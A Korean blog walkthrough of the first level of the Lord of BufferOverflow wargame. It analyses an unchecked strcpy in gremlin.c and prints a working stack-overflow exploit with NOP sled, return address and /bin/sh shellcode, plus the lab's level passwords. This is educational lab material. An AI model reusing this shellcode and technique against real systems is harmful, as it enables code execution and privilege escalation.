본문 바로가기

Wargame/Lord Of Buffer overflow

[LOB] 1번 gremlin






LOB란



버퍼 오버플로우르 이용한 Wargame 이다. The Lord of Bufferoverflow 의 약자이다. 

이를 풀기 위해서는 LOB 이미지를 해커스쿨 사이트에서 다운 받아 가상 환경에서 서버를 구축해야 한다.











구축하고 telnet [IP 주소]로 연결하면 화면이 다음과 같이 구성된다.


login : gate

Password : gate


로그인을 하고 파일을 보면 gremlin.c 가 있다.



vi gremlin.c 로 코드를 보면 다음과 같이 되어 있다.











버퍼로 256을 입력 받고 argc 가 2개 미만이면 오류를 출력하고 프로그램을 종료한다.


2개 이상이면 buffer에 argv[1] 인자를 복사 시킨다.


이 문제는 strcpy 함수를 실행할 때 어느정도 크기의 값을 복사할 지 정하지 않는다는 취약점을 이용한 문제다.


256 바이트 이상의 값을 넣으면 buffer의 크기를 넘어 SFP와 Ret 값을 덮어 씌워 BOF를 일으킨다.


프로그램을 분석하기 위해 파일을 복사해 gate 권한으로 바꾸고 gdb로 실행 시켜본다.









intel 문법으로 바꾸기 위해 


set disassembly-flavor intel


치면 된다




main 함수의 disassembly 한 코드를 보기 위해 


disas main


해준다









입력 값이 어디에 들어가는 지 확인하기 위해 다음과 같이 strcpy 함수가 실행되고 난 뒤인 main+59 에 브레이크 포인트를 걸어준다








그런 다음


r `python -c 'print "\x90" *260'`


을 해주어 버퍼와 SFP 를 \x90(NOP) 로 채워준다.


Nop Sled 기법을 이용한 것이다.


주소는 ret 위치에


0xbffff940


을 입력해주면 된다.


리틀 엔디안 형식으로 입력되므로 


\x40\xf9\xff\xbf


를 입력해준다.


LOB Redhat 은 쉘 상에서 \xff를 입력했을 때 \x00으로 처리하기 때문에 문자열을 인식할 때 원하는 결과를 얻지 못할 수도 있다.


나도 이 부분에서 막혀서 힘들었다.


시작하기 전에 bash2를 입력해주면 된다.


또한 쉘 코드 앞, 뒤로 \x90을 최소 16개 넣어줘야 쉘 코드가 안깨지므로 주의해야 한다.







위와 같이 


./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*35+"\xd8\xf9\xff\xbf"'`


입력해준다.


그 후 my-pass를 통해 다음 레벨인 gremlin의 패스워드를 알아낼 수 있다.



gremlin / hello bof world



문제 해결


















'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글

[LOB] 6번 wolfman -> darkelf  (0) 2017.11.07
[LOB] 5번 orc -> wolfman  (0) 2017.11.07
[LOB] 4번 goblin -> orc  (0) 2017.11.07
[LOB] 3번 cobolt -> goblin  (0) 2017.11.02
[LOB] 2번 gremlin -> cobolt  (0) 2017.11.02